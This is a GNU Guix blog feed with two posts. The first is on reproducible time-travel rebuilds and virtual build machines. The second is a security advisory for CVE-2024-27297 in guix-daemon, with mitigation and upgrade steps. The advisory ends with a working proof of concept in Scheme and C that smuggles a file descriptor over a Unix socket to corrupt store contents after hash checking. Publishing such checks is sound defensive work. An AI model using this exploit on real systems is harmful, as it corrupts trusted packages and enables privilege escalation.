https://guix.gnu.org/feeds/blog.atomGNU Guix — Blogfeed author nameGNU Guixhttps://guix.gnu.org/themes/initial/img/icon.png2024-03-20T10:57:47Zhttps://guix.gnu.org/blog/2024/adventures-on-the-quest-for-long-term-reproducible-deployment//Adventures on the quest for long-term reproducible deploymentLudovic Courtès2024-03-13T15:30:00Z2024-03-13T15:30:00Z Rebuilding software five years later, how hard can it be? It can’t be
that hard, especially when you pride yourself on having a tool that
can travel in
time
and that does a good job at ensuring reproducible
builds , right? In hindsight, we can tell you: it’s more challenging than it
seems. Users attempting to travel 5 years back with guix time-machine
are (or were ) unavoidably going to hit bumps on the road—a real
problem because that’s one of the use cases Guix aims to support well,
in particular in a reproducible
research …<p>Rebuilding software five years later, how hard can it be? It can’t be
<em>that</em> hard, especially when you pride yourself on having a tool that
can <a href="https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-time_002dmachine.html">travel in
time</a>
and that does a good job at ensuring <a href="https://reproducible-builds.org/docs/definition/">reproducible
builds</a>, right?</p><p>In hindsight, we can tell you: it’s more challenging than it
seems. Users attempting to travel 5 years back with <code>guix time-machine</code>
are (or <em>were</em>) unavoidably going to hit bumps on the road—a real
problem because that’s one of the use cases Guix aims to support well,
in particular in a <a href="https://hpc.guix.info/blog/tag/reproducibility/">reproducible
research</a> context.</p><p>In this post, we look at some of the challenges we face while traveling
back, how we are overcoming them, and open issues.</p><h1>The vision</h1><p>First of all, one clarification: Guix aims to support time travel, but
we’re talking of a time scale measured in years, not in decades. We
know all too well that this is already very ambitious—it’s something
that probably nobody except <a href="https://nixos.org">Nix</a> and Guix are even
trying. More importantly, software deployment at the scale of decades
calls for very different, more radical techniques; it’s the work of
archivists.</p><p>Concretely, Guix 1.0.0 was <a href="https://guix.gnu.org/en/blog/2019/gnu-guix-1.0.0-released/">released in
2019</a> and
our goal is to allow users to travel as far back as 1.0.0 and redeploy
software from there, as in this example:</p><pre><code>$ guix time-machine -q --commit=v1.0.0 -- \
environment --ad-hoc python2 -- python
> guile: warning: failed to install locale
Python 2.7.15 (default, Jan 1 1970, 00:00:01)
[GCC 5.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>></code></pre><p>(The command above uses <code>guix environment</code>, the <a href="https://guix.gnu.org/en/blog/2021/from-guix-environment-to-guix-shell/">predecessor of <code>guix shell</code></a>,
which didn’t exist back then.)
It’s only 5 years ago but it’s pretty much remote history on the scale
of software evolution—in this case, that history comprises major
changes <a href="https://guix.gnu.org/en/blog/2021/the-big-change/">in Guix
itself</a> and
<a href="https://guix.gnu.org/en/blog/2020/guile-3-and-guix/">in Guile</a>.
How well does such a command work? Well, it depends.</p><p>The project has two build farms; <code>bordeaux.guix.gnu.org</code> has been
keeping substitutes (pre-built binaries) of everything it built since
roughly 2021, while <code>ci.guix.gnu.org</code> keeps substitutes for roughly two
years, but there is currently no guarantee on the duration
substitutes may be retained.
Time traveling to a period where substitutes are available is
fine: you end up downloading lots of binaries, but that’s OK, you rather
quickly have your software environment at hand.</p><h1>Bumps on the build road</h1><p>Things get more complicated when targeting a period in time for which
substitutes are no longer available, as was the case for <code>v1.0.0</code> above.
(And really, we should assume that substitutes won’t remain available
forever: fellow NixOS hackers recently had to seriously consider
<a href="https://discourse.nixos.org/t/nixos-s3-long-term-resolution-phase-1/36493">trimming their 20-year-long history of
substitutes</a>
because the costs are not sustainable.)</p><p>Apart from the long build times, the first problem that arises in the
absence of substitutes is source code unavailability. I’ll spare you
the details for this post—that problem alone would deserve a book.
Suffice to say that we’re lucky that we started working on <a href="https://guix.gnu.org/en/blog/2019/connecting-reproducible-deployment-to-a-long-term-source-code-archive/">integrating
Guix with Software
Heritage</a>
years ago, and that there has been great progress over the last couple
of years to get closer to <a href="https://ngyro.com/pog-reports/latest/">full package source code
archival</a> (more precisely: 94% of
the source code of packages available in Guix in January 2024 is
archived, versus 72% of the packages available in May 2019).</p><p>So what happens when you run the <code>time-machine</code> command above? It
brings you to May 2019, a time for which none of the official build
farms had substitutes until a few days ago. Ideally, thanks to
<a href="https://guix.gnu.org/manual/devel/en/html_node/Build-Environment-Setup.html">isolated build
environments</a>,
you’d build things for hours or days, and in the end all those binaries
will be here just as they were 5 years ago. In practice though, there
are several problems that isolation as currently implemented does <em>not</em>
address.</p><p><img src="/static/blog/img/safety-last.jpg" alt="Screenshot of movie “Safety Last!” with Harold Lloyd hanging from a clock on a building’s façade." /></p><p>Among those, the most frequent problem is <em>time traps</em>: software build
processes that fail after a certain date (these are also referred to as
“time bombs” but we’ve had enough of these and would rather call for a
ceasefire). This plagues a handful of packages out of almost 30,000 but
unfortunately we’re talking about packages deep in the dependency graph.
Here are some examples:</p><ul><li><a href="https://issues.guix.gnu.org/56137">OpenSSL</a> unit tests fail
after a certain date because some of the X.509 certificates they use
have expired.</li><li><a href="https://issues.guix.gnu.org/44559">GnuTLS</a> had similar issues;
newer versions rely on
<a href="https://packages.guix.gnu.org/packages/datefudge/">datefudge</a> to
fake the date while running the tests and thus avoid that problem
altogether.</li><li>Python 2.7, found in Guix 1.0.0, also <a href="https://issues.guix.gnu.org/65378">had that
problem</a> with its TLS-related
tests.</li><li>OpenJDK <a href="https://issues.guix.gnu.org/68333">would fail to build at some
point</a> with this interesting
message: <code>Error: time is more than 10 years from present: 1388527200000</code> (the build system would consider that its data about
currencies is likely outdated after 10 years).</li><li>Libgit2, a dependency of Guix, had (has?) a <a href="https://issues.guix.gnu.org/55326">time-dependent
tests</a>.</li><li>MariaDB tests <a href="https://issues.guix.gnu.org/34351">started failing in
2019</a>.</li></ul><p>Someone traveling to <code>v1.0.0</code> will hit several of these, preventing
<code>guix time-machine</code> from completing. A serious bummer, especially to
those who’ve come to Guix from the perspective of making their <a href="https://hpc.guix.info/blog/2023/06/a-guide-to-reproducible-research-papers/">research
workflow
reproducible</a>.</p><p>Time traps are the main road block, but there’s more! In rare cases,
there’s software influenced by kernel details not controlled by the
build daemon:</p><ul><li>Tests of the hwloc hardware locality library <a href="https://issues.guix.gnu.org/54767">would fail when
running on a Btrfs file system</a>.</li></ul><p>In a handful of cases, but important ones, builds might fail when
performed on certain CPUs. We’re aware of at least two cases:</p><ul><li>Python 3.9 to 3.11 would set a signal handler stack <a href="https://github.com/python/cpython/issues/91124">too small for
use on Intel Sapphire Rapids Xeon
CPUs</a> (it’s more
complicated than this but the end result is: it will no longer build
on modern hardware).</li><li>Firefox would reportedly <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1882015">crash on Raptor Lake CPUs running an buggy
version of their
firmware</a>.</li></ul><p>Neither time traps nor those obscure hardware-related issues can be
avoided with the isolation mechanism currently used by the build daemon.
This harms time traveling when substitutes are unavailable. Giving up
is not in the ethos of this project though.</p><h1>Where to go from here?</h1><p>There are really two open questions here:</p><ol><li>How can we tell which packages needs to be “fixed”, and how:
building at a specific date, on a specific CPU?</li><li>How can keep those aspects of the build environment (time, CPU
variant) under control?</li></ol><p>Let’s start with #2. Before looking for a solution, it’s worth
remembering where we come from. The build daemon runs build processes
with a <a href="https://www.man7.org/linux/man-pages/man2/chroot.2.html">separate root file
system</a>, under
dedicated user IDs, and in separate <a href="https://www.man7.org/linux/man-pages/man7/namespaces.7.html">Linux
namespaces</a>,
thereby minimizing interference with the rest of the system and ensuring
a <a href="https://guix.gnu.org/manual/devel/en/html_node/Build-Environment-Setup.html">well-defined build
environment</a>.
This technique was
<a href="https://archive.softwareheritage.org/browse/revision/9397cd30c8a6ffd65fc3b85985ea59ecfb72672b/">implemented</a>
by Eelco Dolstra for Nix in 2007 (with namespace support <a href="https://archive.softwareheritage.org/browse/revision/df716c98d203ab64cdf05f9c17fdae565b7daa1c/">added
in
2012</a>),
at a time where the word <em>container</em> had to do with boats and before
“Docker” became the name of a software tool. In short, the approach
consists in <em>controlling the build environment</em> in every detail (it’s at
odds with the strategy that consists in achieving reproducible builds
<a href="https://tests.reproducible-builds.org/debian/index_variations.html"><em>in spite</em> of high build environment
variability</a>).
That these are mere processes with a bunch of bind mounts makes this
approach inexpensive and appealing.</p><p>Realizing we’d also want to control the build environment’s date,
we naturally turn to Linux namespaces to address that—Dolstra, Löh, and
Pierron already suggested something along these lines in the conclusion
of their <a href="https://edolstra.github.io/pubs/nixos-jfp-final.pdf">2010 <em>Journal of Functional Programming</em>
paper</a>. Turns out
there <em>is</em> now a <a href="https://www.man7.org/linux/man-pages/man7/time_namespaces.7.html">time
namespace</a>.
Unfortunately it’s limited to <code>CLOCK_MONOTONIC</code> and <code>CLOCK_BOOTTIME</code>
clocks; the manual page states:</p><blockquote><p>Note that time namespaces do not virtualize the <code>CLOCK_REALTIME</code>
clock. Virtualization of this clock was avoided for reasons of
complexity and overhead within the kernel.</p></blockquote><p>I hear you say: <em>What about
<a href="https://packages.guix.gnu.org/packages/datefudge/">datefudge</a> and
<a href="https://packages.guix.gnu.org/packages/libfaketime/">libfaketime</a>?</em>
These rely on the <code>LD_PRELOAD</code> environment variable to trick the dynamic
linker into pre-loading a library that provides symbols such as
<code>gettimeofday</code> and <code>clock_gettime</code>. This is a fine approach in some
cases, but it’s too fragile and too intrusive when targeting arbitrary
build processes.</p><p>That leaves us with essentially one viable option: virtual machines
(VMs). The full-system QEMU lets you specify the initial real-time
clock of the VM with the <code>-rtc</code> flag, which is exactly what we need
(“user-land” QEMU such as <code>qemu-x86_64</code> does not support it). And of
course, it lets you specify the CPU model to emulate.</p><h1>News from the past</h1><p>Now, the question is: where does the VM fit? The author considered
writing a <a href="https://guix.gnu.org/manual/devel/en/html_node/Package-Transformation-Options.html">package
transformation</a>
that would change a package such that it’s built in a well-defined VM.
However, that wouldn’t really help: this option didn’t exist in past
revisions, and it would lead to a different build anyway from the
perspective of the daemon—a different
<a href="https://guix.gnu.org/manual/devel/en/html_node/Derivations.html"><em>derivation</em></a>.</p><p>The best strategy appeared to be
<a href="https://guix.gnu.org/manual/devel/en/html_node/Daemon-Offload-Setup.html"><em>offloading</em></a>:
the build daemon can offload builds to different machines over SSH, we
just need to let it send builds to a suitably-configured VM. To do
that, we can reuse some of the machinery initially developed for
<a href="https://guix.gnu.org/manual/devel/en/html_node/Virtualization-Services.html#index-childhurd_002c-offloading"><em>childhurds</em></a>
that takes care of setting up offloading to the VM: creating substitute
signing keys and SSH keys, exchanging secret key material between the
host and the guest, and so on.</p><p>The end result is a <a href="https://guix.gnu.org/manual/devel/en/html_node/Virtualization-Services.html#Virtual-Build-Machines">service for Guix System
users</a>
that can be configured in a few lines:</p><pre><code class="language-scheme">(use-modules (gnu services virtualization))
(operating-system
;; …
(services (append (list (service virtual-build-machine-service-type))
%base-services)))</code></pre><p>The default setting above provides a 4-core VM whose initial date is
January 2020, emulating a Skylake CPU from that time—the right setup for
someone willing to reproduce old binaries. You can check the
configuration like this:</p><pre><code>$ sudo herd configuration build-vm
CPU: Skylake-Client
number of CPU cores: 4
memory size: 2048 MiB
initial date: Wed Jan 01 00:00:00Z 2020</code></pre><p>To enable offloading to that VM, one has to explicitly start it, like
so:</p><pre><code>$ sudo herd start build-vm</code></pre><p>From there on, every native build is offloaded to the VM. The key part
is that with almost no configuration, you get everything set up to build
packages “in the past”. It’s a Guix System only solution; if you run
Guix on another distro, you can set up a similar build VM but you’ll
have to go through the cumbersome process that is all taken care of
automatically here.</p><p>Of course it’s possible to choose different configuration parameters:</p><pre><code class="language-scheme">(service virtual-build-machine-service-type
(virtual-build-machine
(date (make-date 0 0 00 00 01 10 2017 0)) ;further back in time
(cpu "Westmere")
(cpu-count 16)
(memory-size (* 8 1024))
(auto-start? #t)))</code></pre><p>With a build VM with its date set to January 2020, we have been able to
rebuild Guix and its dependencies along with a bunch of packages such as
<code>emacs-minimal</code> from <code>v1.0.0</code>, overcoming all the time traps and other
challenges described earlier. As a side effect, substitutes
are now available from <code>ci.guix.gnu.org</code> so you can even try this at
home without having to rebuild the world:</p><pre><code>$ guix time-machine -q --commit=v1.0.0 -- build emacs-minimal --dry-run
guile: warning: failed to install locale
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
38.5 MB would be downloaded:
/gnu/store/53dnj0gmy5qxa4cbqpzq0fl2gcg55jpk-emacs-minimal-26.2</code></pre><p>For the fun of it, we went as far as <code>v0.16.0</code>, <a href="https://guix.gnu.org/blog/2018/gnu-guix-and-guixsd-0.16.0-released/">released in December
2018</a>:</p><pre><code>guix time-machine -q --commit=v0.16.0 -- \
environment --ad-hoc vim -- vim --version</code></pre><p>This is the furthest we can go since
<a href="https://guix.gnu.org/manual/devel/en/html_node/Channels.html">channels</a>
and the underlying mechanisms that make time travel possible did not
exist before that date.</p><p>There’s one “interesting” case we stumbled upon in that process: in
OpenSSL 1.1.1g (released April 2020 and packaged <a href="https://archive.softwareheritage.org/browse/revision/c4868e38289baf3a9a74bdf32166d321f7365725/">in December
2020</a>),
some of the test certificates are not valid <em>before</em> April 2020, so the
build VM needs to have its clock set to May 2020 or thereabouts.
Booting the build VM with a different date can be done without
reconfiguring the system:</p><pre><code>$ sudo herd stop build-vm
$ sudo herd start build-vm -- -rtc base=2020-05-01T00:00:00</code></pre><p>The <code>-rtc …</code> flags are passed straight to QEMU, which is handy when
exploring workarounds…</p><p>The <a href="https://ci.guix.gnu.org/jobset/time-travel"><code>time-travel</code> continuous integration
jobset</a> has been set up to
check that we can, at any time, travel back to one of the past releases.
This at least ensures that Guix itself and its dependencies have
substitutes available at <code>ci.guix.gnu.org</code>.</p><h1>Reproducible research workflows reproduced</h1><p>Incidentally, this effort rebuilding 5-year-old packages has allowed us
to fix embarrassing problems. Software that accompanies research papers
that followed our <a href="https://hpc.guix.info/blog/2023/06/a-guide-to-reproducible-research-papers/">reproducibility
guidelines</a>
could no longer be deployed, at least not without this clock twiddling
effort:</p><ul><li><a href="https://archive.softwareheritage.org/browse/origin/directory/?origin_url=https://gitlab.inria.fr/lcourtes-phd/edcc-2006-redone">code</a>
of <a href="https://doi.org/10.5281/zenodo.3886739"><em>[Re] Storage Tradeoffs in a Collaborative Backup Service for
Mobile Devices</em></a>, submitted
as part of the ReScience <a href="https://rescience.github.io/ten-years/"><em>Ten Years Reproducibility
Challenge</em></a> in June 2020,
and which is precisely about showcasing reproducible deployment with
Guix;</li><li><a href="https://archive.softwareheritage.org/browse/revision/707f00afef8f6ef1f29a7a4c961dd714f82833f5/">code</a>
of the 2022 Nature Scientific Data article entitled <a href="https://doi.org/10.1038/s41597-022-01720-9"><em>Toward
practical transparent verifiable and long-term reproducible research
using Guix</em></a>, which
relied on an April 2020 revision of Guix to deploy (Simon Tournier
who co-authored the paper <a href="https://simon.tournier.info/posts/2023-12-21-repro-paper.html">reported
earlier</a>
on a failed attempt showing just how challenging it was).</li></ul><p>It’s good news that we can now re-deploy these 5-year-old software
environments with minimum hassle; it’s bad news that holding this
promise took extra effort.</p><p>The ability to reproduce the environment of software that accompanies
research work should not be considered a mundanity or an exercise that’s
<a href="https://hpc.guix.info/blog/2022/07/is-reproducibility-practical/">“overkill”</a>.
The ability to rerun, inspect, and modify software are the natural
extension of the scientific method. Without a companion reproducible
software environment, research papers <em>are merely the advertisement of
scholarship</em>, to paraphrase Jon Claerbout.</p><h1>The future</h1><p>The astute reader surely noticed that we didn’t answer question #1
above:</p><blockquote><p>How can we tell which packages needs to be “fixed”, and how: building
at a specific date, on a specific CPU?</p></blockquote><p>It’s a fact that Guix so far lacks information about the date, kernel,
or CPU model that should be used to build a given package.
<a href="https://guix.gnu.org/manual/devel/en/html_node/Derivations.html">Derivations</a>
purposefully lack that information on the grounds that it cannot be
enforced in user land and is <em>rarely</em> necessary—which is true, but
“rarely” is not the same as “never”, as we saw. Should we create a
catalog of date, CPU, and/or kernel annotations for packages found in
past revisions? Should we define, for the long-term, an
all-encompassing derivation format? If we did and effectively required
virtual build machines, what would that mean from a
<a href="https://guix.gnu.org/en/blog/tags/bootstrapping/">bootstrapping</a>
standpoint?</p><p>Here’s another option: build packages in VMs running in the year 2100,
say, and on a baseline CPU. We don’t need to require all users to set
up a virtual build machine—that would be impractical. It may be enough
to set up the project build farms so they build everything that way.
This would allow us to catch time traps and <a href="https://en.wikipedia.org/wiki/Year_2038_problem">year 2038
bugs</a> before they bite.</p><p>Before we can do that, the <code>virtual-build-machine</code> service needs to be
optimized. Right now, offloading to build VMs is as heavyweight as
offloading to a separate physical build machine: data is transferred
back and forth over SSH over TCP/IP. The first step will be to run SSH
over a paravirtualized transport instead such as <a href="https://www.man7.org/linux/man-pages/man7/vsock.7.html"><code>AF_VSOCK</code>
sockets</a>.
Another avenue would be to make <code>/gnu/store</code> in the guest VM an overlay
over the host store so that inputs do not need to be transferred and
copied.</p><p>Until then, happy software (re)deployment!</p><h1>Acknowledgments</h1><p>Thanks to Simon Tournier for insightful comments on a previous version
of this post.</p>https://guix.gnu.org/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297//Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297)John Kehayias2024-03-12T17:00:00Z2024-03-12T17:00:00Z A security issue has been identified in
guix-daemon
which allows for fixed-output
derivations ,
such as source code tarballs or Git checkouts, to be corrupted by an
unprivileged user. This could also lead to local privilege escalation.
This was originally reported to Nix but also affects Guix as we share
some underlying code from an older version of Nix for the
guix-daemon . Readers only interested in making sure their Guix is up
to date and no longer affected by this vulnerability can skip down to
the "Upgrading" section. Vulnerability The basic idea of the attack is to pass file…<p>A security issue has been identified in
<a href="https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix_002ddaemon.html"><code>guix-daemon</code></a>
which allows for <a href="https://guix.gnu.org/manual/devel/en/html_node/Derivations.html#index-fixed_002doutput-derivations">fixed-output
derivations</a>,
such as source code tarballs or Git checkouts, to be corrupted by an
unprivileged user. This could also lead to local privilege escalation.
This was originally reported to Nix but also affects Guix as we share
some underlying code from an older version of Nix for the
<code>guix-daemon</code>. Readers only interested in making sure their Guix is up
to date and no longer affected by this vulnerability can skip down to
the "Upgrading" section.</p><h1>Vulnerability</h1><p>The basic idea of the attack is to pass file descriptors through Unix
sockets to allow another process to modify the derivation contents.
This was first reported to Nix by jade and puckipedia with further
details and a proof of concept
<a href="https://hackmd.io/03UGerewRcy3db44JQoWvw">here</a>. Note that the proof
of concept is written for Nix and has been adapted for GNU Guix below.
This security advisory is registered as
<a href="https://www.cve.org/CVERecord?id=CVE-2024-27297">CVE-2024-27297</a>
(details are also available at Nix's GitHub <a href="https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37">security
advisory</a>)
and rated "moderate" in severity.</p><p>A fixed-output
<a href="https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html">derivation</a>
is one where the output hash is known in advance. For instance, to
produce a source tarball. The GNU Guix build sandbox purposefully
excludes network access (for security and to ensure we can control and
reproduce the build environment), but a fixed-output derivation does
have network access, for instance to download that source tarball.
However, as stated, the hash of output must be known in advance, again
for security (we know if the file contents would change) and
reproducibility (should always have the same output). The
<code>guix-daemon</code> handles the build process and writing the output to the
store, as a privileged process.</p><p>In the build sandbox for a fixed-output derivation, a file descriptor
to its contents could be shared with another process via a Unix
socket. This other process, outside of the build sandbox, can then
modify the contents written to the store, changing them to something
malicious or otherwise corrupting the output. While the output hash
has already been determined, these changes would mean a fixed-output
derivation could have contents written to the store which do not match
the expected hash. This could then be used by the user or other
packages as well.</p><h1>Mitigation</h1><p>This security issue (tracked <a href="https://issues.guix.gnu.org/69728">here</a>
for GNU Guix) has been fixed by
<a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143">two</a>
<a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42">commits</a>
by Ludovic Courtès. Users should make sure they have updated to <a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42">this
second
commit</a>
to be protected from this vulnerability. Upgrade instructions are in
the following section.</p><p>While several possible mitigation strategies were detailed in the
original report, the simplest fix is just copy the derivation output
somewhere else, deleting the original, before writing to the store.
Any file descriptors will no longer point to the contents which get
written to the store, so only the <code>guix-daemon</code> should be able to
write to the store, as designed. This is what the Nix project used in
their <a href="https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9">own
fix</a>.
This does add an additional copy/delete for each file, which may add a
performance penalty for derivations with many files.</p><p>A proof of concept by Ludovic, adapted from the one in the original
Nix report, is available at the end of this post. One can run this
code with</p><pre><code class="language-sh">guix build -f fixed-output-derivation-corruption.scm -M4</code></pre><p>This will output whether the current <code>guix-daemon</code> being used is
vulnerable or not. If it is vulnerable, the output will include a line similar to</p><pre><code class="language-sh">We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!</code></pre><p>The corrupted file can be removed with</p><pre><code class="language-sh">guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*</code></pre><p>In general, corrupt files from the store can be found with</p><pre><code class="language-sh">guix gc --verify=contents</code></pre><p>which will also include any files corrupted by through this
vulnerability. Do note that this command can take a long time to
complete as it checks every file under <code>/gnu/store</code>, which likely has
many files.</p><h1>Upgrading</h1><p>Due to the severity of this security advisory, we strongly recommend
all users to upgrade their <code>guix-daemon</code> immediately.</p><p>For a Guix System the procedure is just reconfiguring the system after
a <code>guix pull</code>, either restarting <code>guix-daemon</code> or rebooting. For
example,</p><pre><code class="language-sh">guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon</code></pre><p>where <code>/run/current-system/configuration.scm</code> is the current system
configuration but could, of course, be replaced by a system
configuration file of a user's choice.</p><p>For Guix running as a package manager on other distributions, one
needs to <code>guix pull</code> with <code>sudo</code>, as the <code>guix-daemon</code> runs as root,
and restart the <code>guix-daemon</code> service. For example, on a system using
systemd to manage services,</p><pre><code class="language-sh">sudo --login guix pull
sudo systemctl restart guix-daemon.service</code></pre><p>Note that for users with their distro's package of Guix (as opposed to
having used the <a href="https://guix.gnu.org/en/manual/devel/en/html_node/Binary-Installation.html">install
script</a>)
you may need to take other steps or upgrade the Guix package as per
other packages on your distro. Please consult the relevant
documentation from your distro or contact the package maintainer for
additional information or questions.</p><h1>Conclusion</h1><p>One of the key features and design principles of GNU Guix is to allow
unprivileged package management through a secure and reproducible
<a href="https://guix.gnu.org/en/manual/devel/en/html_node/Build-Environment-Setup.html">build
environment</a>.
While every effort is made to protect the user and system from any
malicious actors, it is always possible that there are flaws yet to be
discovered, as has happened here. In this case, using the ingredients
of how file descriptors and Unix sockets work even in the isolated
build environment allowed for a security vulnerability with moderate
impact.</p><p>Our thanks to jade and puckipedia for the original report, and Picnoir
for bringing this to the attention of the GNU Guix <a href="https://guix.gnu.org/en/security/">security
team</a>. And a special thanks to
Ludovic Courtès for a prompt fix and proof of concept.</p><p>Note that there are current efforts to rewrite the <code>guix-daemon</code> in
Guile by Christopher Baines. For more information and the latest news
on this front, please refer to the <a href="https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/">recent blog
post</a> and
<a href="https://lists.gnu.org/archive/html/guix-devel/2024-02/msg00253.html">this
message</a>
on the <a href="https://lists.gnu.org/mailman/listinfo/guix-devel">guix-devel</a>
mailing list.</p><h2>Proof of Concept</h2><p>Below is code to check if a <code>guix-daemon</code> is vulnerable to this
exploit. Save this file as <code>fixed-output-derivation-corruption.scm</code>
and run following the instructions above, in "Mitigation." Some
further details and example output can be found on <a href="https://issues.guix.gnu.org/69728#5">issue
#69728</a></p><pre><code class="language-scheme">;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
